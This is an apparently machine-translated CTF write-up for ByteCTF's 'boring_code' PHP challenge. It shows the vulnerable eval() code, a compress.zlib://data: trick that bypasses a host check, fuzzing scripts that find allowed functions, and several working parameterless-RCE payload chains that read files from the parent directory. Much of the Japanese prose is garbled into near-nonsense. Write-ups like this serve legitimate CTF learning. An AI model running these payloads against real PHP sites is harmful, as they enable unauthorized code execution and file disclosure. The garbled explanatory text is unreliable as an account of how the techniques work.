バイトCTFのboring_code(ファズ、无参数RCE)

0x01のは、コードを投稿しました

<?php
function is_valid_url($url) {
 if (filter_var($url, FILTER_VALIDATE_URL)) {
  if (preg_match('/data:\/\//i', $url)) {
   return false;
  }
  return true;
 }
 return false;
}

if (isset($_POST['url'])) {
 $url = $_POST['url'];
 if (is_valid_url($url)) {
  $r = parse_url($url);
  print_r($r);
  if (preg_match('/baidu\.com$/', $r['host'])) {
   echo "pass preg_match";
   $code = file_get_contents($url);
   print_r($code);
// 下面这个正则约束了只能是phpinfo();这样的形式
// 所以基本来说 php://input 是不行了
   if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
    if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
     echo 'bye~';
    } else {
     eval($code);
    }
   }
  } else {
   echo "error: host not allowed";
  }
 } else {
  echo "error: invalid url";
 }
} else {
 highlight_file(__FILE__);
}

0x02のトピック分析

まず、URLを投稿する必要があり、ホストはbaidu.comの終わりです

回避策:

  • クリプトン金、ドメイン名を購入
  • 302ジャンプBaiduの
    https://www.4xseo.com/marketing/1280/#title-0を
  • 使用Baiduはジャンプに検索しますが、百度にあなたのウェブサイトの仕事を含ま
  • 使用Baiduのネットワークディスクジャンプ
  • compress.zlib://data:@baidu.com/baidu.com?,echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
上のどのバイパスにfilter_varとでもparse_urlへ

参考ギャング記事
リンク

どのようにバイパスするfilter_varparse_url、中file_get_contentsケースであってもよく、data://この形態では、バイパスに擬似プロトコルdata://text/plain;base64,xxxxxparse_url説明するtextように使用さhostれ、MIME PHPに敏感ではない、そうするためにdata://baidu.com/plain;base64,xxxxxバイパスすることができること、及びfile_get_contentsに直接読み込むことができるxxxxコンテンツ。トピックが禁止されているので、我々が使用できるように、データで始まりますcompress.zlib
ここに画像を挿入説明

0x03のパラメータなしRCE

preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)
これは限定的なパラメータであるa(b())だけ含むながら文字の形で
preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)
、例えば、機能の数を制限する、getallheaders(),session_id()など

私は最初のファズの下で、それらの機能を見ては、できるかまず第一に
<?
var_dump(gettype(get_defined_functions()));
var_dump(count(get_defined_functions()[internal]));
$i_need_func=array();
$j=0;
for ($i=0; $i < count(get_defined_functions()[internal]) ; $i++) { 
    if (!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|xdebug|prvd|_|-/i', get_defined_functions()[internal][$i])) {
        $i_need_func[$j]=get_defined_functions()[internal][$i];
        $j++;
    }
}
print_r($i_need_func);
層最も内側の関数がパラメータを含んでいてはならないので、我々はファズを下げることができるので、機能を使用できるかを確認します
<?php
#var_dump(gettype(get_defined_functions()));
#var_dump(count(get_defined_functions()[internal]));
$i_need_func=array();
$j=0;
for ($i=0; $i < count(get_defined_functions()[internal]) ; $i++) {
    if (!preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|xdebug|prvd|_/i', get_defined_functions()[internal][$i])) {
        $i_need_func[$j]=get_defined_functions()[internal][$i];
        $j++;
    }
}
try {
    for ($i=0; $i < count($i_need_func); $i++) {
    if($i_need_func[$i]=="mhash")
    	continue;
        if(!is_null($i_need_func[$i]())){
            echo $i_need_func[$i];
            var_dump($i_need_func[$i]());
        }
    }
} catch (\Throwable $th) {
}
  • localeconv()これは、アレイ、及び1〜を返します.
  • phpversion()バージョン番号は数字で、私たちは46を構成する数学関数を使用することができ返します

タイトルは、ことを示唆しているとしてflag、我々はまた、構築する必要があるので、我々は、現在のパスを変更する方法を考える必要があるので、親ディレクトリ..に長い時間のためにも、ここでカードを始め、親ディレクトリにジャンプするが、その後、突然思っls -aシステムが自己ではなく、後に二つの点で、これはシステムまあの特徴ではないので、そこに次のpaylaod
var_dump(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))));
このスクリプトは数学関数を使用することができます+ phpversion()リターン46

<?php
$list = array("ceil","sinh","cosh","tan","floor","sqrt","cos","sin");
foreach($list as $a){
foreach($list as $b){
foreach($list as $c){
foreach($list as $d){
foreach($list as $e){
foreach($list as $f){
foreach($list as $g){
foreach($list as $h){

if($a($b($c($d($e($f($g($h(phpversion())))))))) == 46)
echo "$a+$b+$c+$d+$e+$f+$g+$h"."\n";	

}}}}}}}}
?>

ここに画像を挿入説明
関数のセットが容易に46を得ることができます

私たちは、ジャンプカタログすることができましたが、どのように我々は、ファイルの親ディレクトリを一覧表示し続けることができますが?

この関数はchdir()ブール値を返しますtrue || falseので、私は継続するもの、fuzzそれらの機能を確認するために渡しboolたときに値yesの返されているもの。長いライン上で上記のコードを変更、それのように、私はここでそれらを繰り返すことはしません

  • localtime(time(ture)) アレイの第一、第二の一つは、我々は唯一の毎分46秒間待つ必要がある戻り値は46を取得するために要求を送信します
  • hebrevc(crypt(ture))最初の文字列のためのチャンスがあり、文字列を返します.
  • uniqid(true)また、文字列を返すと固定されている、我々はできるord()最初のコード列ascllを取り、数学関数46を使用して同じように設定します
  • crypt(serialize(array()))暗号返します暗号化された文字列を使用して、暗号化された文字列の末尾が発生する機会を持っています。

ペイロード

  • echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));
  • echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));
  • readfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));
  • if(chdir(next(scandir(chr(ord(strrev(crypt(serialize(array())))))))))readfile(end(scandir(chr(ord(strrev(crypt(serialize(array()))))))));

0x04をそう概要

フィルタのタイトルとしてet_ので、我々は多くの機能を使用することはできませんが、いくつかのアイデアは、十分価値の学習は、ここに徘徊首長は記事の投稿
リンク

  • 利用getenv() + array_rand() + array_flip
  • 利用getallheaders()
  • 利用session_id + session_start() + hex2bin + bin2hex
  • 利用get_defined_vars()
  • 利用dirname() + chdir()
公開された47元の記事 ウォンの賞賛2 ビュー3134

おすすめ

転載: blog.csdn.net/a3320315/article/details/102989485